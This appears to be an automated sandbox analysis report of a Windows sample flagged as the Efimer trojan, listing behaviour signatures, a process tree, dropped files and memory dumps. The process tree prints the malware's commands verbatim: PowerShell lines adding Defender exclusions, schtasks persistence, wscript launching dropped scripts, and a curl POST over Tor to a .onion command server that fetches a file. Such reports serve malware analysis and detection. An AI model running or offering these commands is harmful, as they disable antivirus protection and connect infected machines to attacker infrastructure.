Analysis
- max time kernel
150s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
11/04/2026, 05:49
General
- Target a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe
- Size 12.0MB
- Sample260411-gh63jsct8x
- SHA256 a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9
Malware Config
Signatures
- Efimer
Efimer is a trojan written in JS.
- Efimer family
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ahiri'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ahiri'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ivigo /xml C:\Users\Public\Documents\ahiri\ivigo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ejocu /xml C:\Users\Public\Documents\ahiri\ejocu.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ahiri\ejocu.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\ahiri\ugate.exe"C:\Users\Public\Documents\ahiri\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-4d5931d9&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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C:\Users\Public\Documents\ahiri\ugate.exe"C:\Users\Public\Documents\ahiri\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ahiri\ivigo.js1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_1yjvo2yt.wyn.ps1
cfile
cached-certs
cached-microdesc-consensus.tmp
cached-microdescs.new
cached-microdescs.new
state
GUID
cinfo.inf
ejocu.js
ejocu.xml
ivigo.js
ivigo.xml
ugate.exe
words.txt
memory/1032-118-0x000002761B0F0000-0x000002761B445000-memory.dmp
memory/1032-156-0x0000000070180000-0x000000007022B000-memory.dmp
memory/1032-117-0x00007FF61CDB0000-0x00007FF61CDE2000-memory.dmp
memory/1032-155-0x000002761B0F0000-0x000002761B445000-memory.dmp
memory/1032-119-0x0000000070180000-0x000000007022B000-memory.dmp
memory/1032-154-0x00007FF61CDB0000-0x00007FF61CDE2000-memory.dmp
memory/1172-93-0x00007FF61CDB0000-0x00007FF61CDE2000-memory.dmp
memory/1172-94-0x000002C317F30000-0x000002C318285000-memory.dmp
memory/1172-157-0x00007FF61CDB0000-0x00007FF61CDE2000-memory.dmp
memory/1172-158-0x000002C317F30000-0x000002C318285000-memory.dmp
memory/2004-132-0x000001EAB93C0000-0x000001EAB93CC000-memory.dmp
memory/2040-108-0x000001DCAD1F0000-0x000001DCAD1FC000-memory.dmp
memory/2040-107-0x000001DCAB3B0000-0x000001DCAB44B000-memory.dmp
memory/2120-260-0x000001CE73B80000-0x000001CE73C1B000-memory.dmp
memory/2568-73-0x000002A29E660000-0x000002A29E66C000-memory.dmp
memory/2568-62-0x000002A2B6E80000-0x000002A2B6E90000-memory.dmp
memory/2568-61-0x000002A2B6E80000-0x000002A2B6E90000-memory.dmp
memory/2568-68-0x000002A2B6DA0000-0x000002A2B6DC2000-memory.dmp
memory/3036-170-0x0000019B701C0000-0x0000019B7025B000-memory.dmp
memory/3120-169-0x00000215CDBE0000-0x00000215CDBEC000-memory.dmp
memory/3120-168-0x00000215CBEA0000-0x00000215CBF3B000-memory.dmp
memory/3120-266-0x0000021DCE9D0000-0x0000021DCEAD0000-memory.dmp
memory/3332-121-0x0000014629890000-0x000001462992B000-memory.dmp
memory/3332-122-0x000001462B240000-0x000001462B24C000-memory.dmp
memory/3364-172-0x0000015F0C8F0000-0x0000015F0C8FC000-memory.dmp
memory/3364-171-0x0000015F0AF00000-0x0000015F0AF9B000-memory.dmp
memory/3764-97-0x0000023DC1150000-0x0000023DC115C000-memory.dmp
memory/3764-96-0x0000023DBF830000-0x0000023DBF8CB000-memory.dmp
memory/3828-84-0x0000025EA38E0000-0x0000025EA38EC000-memory.dmp
memory/4160-159-0x0000021FAEF00000-0x0000021FAEF9B000-memory.dmp